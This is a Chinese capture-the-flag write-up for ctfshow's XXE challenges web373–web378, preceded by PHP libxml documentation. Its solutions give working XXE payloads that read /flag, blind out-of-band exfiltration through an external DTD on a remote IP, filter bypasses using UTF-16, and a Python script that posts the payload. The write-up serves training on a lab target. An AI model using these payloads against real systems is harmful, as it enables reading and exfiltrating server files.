by 和音 :::info libxml2.9.1及以后,默认不解析外部实体 :::
参考资料
https://www.w3school.com.cn/xml/index.asp
https://www.w3school.com.cn/dtd/index.asp
实体引用
ctfshow-XXE篇
ctfshow web入门-XXE
相关函数
libxml_disable_entity_loader
(PHP 5 >= 5.2.11, PHP 7)
libxml_disable_entity_loader - 禁用加载外部实体的功能
:::warning
本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数
:::
描述
bool libxml_disable_entity_loader ([ bool $disable = true ] )
参数
禁用(TRUE)或启用(FALSE)libxml扩展(如DOM,XMLWriter和XMLReader)来加载外部实体。
返回值
扩展内容
- libxml_use_internal_errors() - 禁用libxml错误并允许用户根据需要获取错误信息
simplexml_import_dom
(PHP 5, PHP 7, PHP 8)
simplexml_import_dom - 从DOM节点获取SimpleXMLElement对象
描述
SimpleXMLElement simplexml_import_dom ( DOMNode $node [, string $class_name = "SimpleXMLElement" ] )
这个函数接受一个DOM文档的一个节点,并将其放入一个SimpleXML节点中。这个新的对象可以被用作本地的SimpleXML元素。
参数
node
一个DOM元素节点class_name
您可以使用这个可选参数,以便simplexml_import_dom()将返回指定类的对象。该类应该扩展SimpleXMLElement类。
返回值
返回一个SimpleXMLElement或失败时返回FALSE。
警告
此函数可能会返回布尔FALSE,但也可能会返回一个非布尔值,其值为FALSE。 有关更多信息,请阅读布尔部分。 使用===运算符来测试此函数的返回值。
例子
示例#1 导入DOM
<?php
$dom = new DOMDocument;
$dom->loadXML('<books><book><title>blah</title></book></books>');
if (!$dom) {
echo 'Error while parsing the document';
exit;
}
$s = simplexml_import_dom($dom);
echo $s->book[0]->title;
上面的例子将输出:
blah
扩展内容
- dom_import_simplexml() - 从SimpleXMLElement对象中获取DOMElement对象
DOMDocument::loadXML
(PHP 5, PHP 7)
DOMDocument::loadXML — 从一个字符串中加载XML
说明
public DOMDocument::loadXML ( string $source , int $options = 0 ) : DOMDocument|bool
参数
source
包含XML的字符串
options
Bitwise OR of the libxml option constants
返回值
成功时返回 true, 或者在失败时返回 false。如果是静态调用,返回一个 DOMDocument 或者在失败时返回 false
错误/异常
如果一个空的字符串被传递为源,将产生一个警告。这个警告不是由 libxml 产生的,不能用 libxml 的错误处理函数来处理。
此方法可以被静态调用,但会抛出一个 E_STRICT 错误。
范例
Example #1 Creating a Document
<?php
$doc = new DOMDocument();
$doc->loadXML('<root><node/></root>');
echo $doc->saveXML();
Example #2 Static invocation of loadXML
<?php
// Issues an E_STRICT error
$doc = DOMDocument::loadXML('<root><node/></root>');
echo $doc->saveXML();
PHP libxml 常量
函数 | 描述 | 注意 |
---|---|---|
LIBXML_COMPACT | 设置小型节点分配优化。会改善应用程序的性能 | |
LIBXML_DTDATTR | 设置默认 DTD 属性 | |
LIBXML_DTDLOAD | 加载外部子集 | |
LIBXML_DTDVALID | 通过 DTD 进行验证 | |
LIBXML_NOBLANKS | 删除空节点 | |
LIBXML_NOCDATA | 把 CDATA 设置为文本节点 | |
LIBXML_NOEMPTYTAG | 更改空标签(比如 改为 ) 仅在 DOMDocument->save() 和 DOMDocument->saveXML() 函数中可用 |
|
LIBXML_NOENT | 替代实体 | 启用实体替换可能会为XML外部实体(XXE)攻击提供便利 |
LIBXML_NOERROR | 不显示错误报告 | |
LIBXML_NONET | 在加载文档时停止网络访问 | |
LIBXML_NOWARNING | 不显示警告报告 | |
LIBXML_NOXMLDECL | 在保存文档时,撤销 XML 声明 | |
LIBXML_NSCLEAN | 删除额外的命名空间声明 | |
LIBXML_XINCLUDE | 使用 XInclude 置换 | |
LIBXML_ERR_ERROR | 获得可恢复的错误 | |
LIBXML_ERR_FATAL | 获得致命错误 | |
LIBXML_ERR_NONE | 获得无错误 | |
LIBXML_ERR_WARNING | 获得简单警告 | |
LIBXML_VERSION | 获得 libxml 版本(例如:20605 或 20617) | |
LIBXML_DOTTED_VERSION | 获得有点号的 libxml 版本(例如:2.6.5 或 2.6.17) |
web373
<?php
error_reporting(0);
libxml_disable_entity_loader(false); //启用加载外部实体
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument(); //创建一个DOMDocument对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //加载xml文件 LIBXML_NOENT:启用XML字符实体引用的替代
$creds = simplexml_import_dom($dom); //把 DOM 节点转换为 SimpleXMLElement 对象
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
题目给出源码,一个有回显的文件读取漏洞
HackBar提交POST数据,方式选择urlencoded(raw)
还可以用burp抓包提交
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag">]>
<Glan>
<ctfshow>
&xxe;
</ctfshow>
</Glan>
:::warning
有回显的XXE:关键函数simplexml_import_dom,需要在Payload加上xml版本,否则无法正常解析
<?xml version=”1.0” encoding=”UTF-8”?>
:::
Web374
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
无回显的文件读取,需要进行外带
服务器新建一个test.dtd文件,内容如下:
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://119.91.205.51:9999/%file;'> ">
%dtd;
%xxe;
开启文件服务
python3 -m http.Server 9999
然后在浏览器用POST方式提交数据(最后一行可省略)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">
%aaa;
]>
<Glan>123</Glan>
服务器可以看到被外带出来的flag数据,使用base64解码即可
Web375
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
也可以在<?xml
之后加个空格绕过,即<?xml version="1.0" encoding="UTF-8"?>
服务器上新建test.dtd(同上一题),开启文件服务,然后在浏览器提交以下POST数据
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">
%aaa;
]>
Web376
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
XML大小写敏感,所以解题方法同上。
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">
%aaa;
]>
不过好像对于XML的数据部分并没有大小写敏感的限制,比如上面的http可大写
服务器上新建test.dtd(同上一题),开启文件服务,然后在浏览器提交以下POST数据
Web377
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
无回显的文件读取,且禁用了版本号和http,和上面一样进行外带不写版本号改成利用 utf-16
编码即可
脚本如下:
import requests
url = 'http://12722cda-57f3-45cf-91f9-4ae4866eda68.challenge.ctf.show/'
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">
%aaa;
]>"""
payload = payload.encode('utf-16')
requests.post(url,data=payload)
Web378
提示是python xxe,登陆界面抓个包
可以看到是通过xml提交数据的,直接XXE注入即可
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag" >]>
<user><username>&xxe;</username><password>bbb</password></user>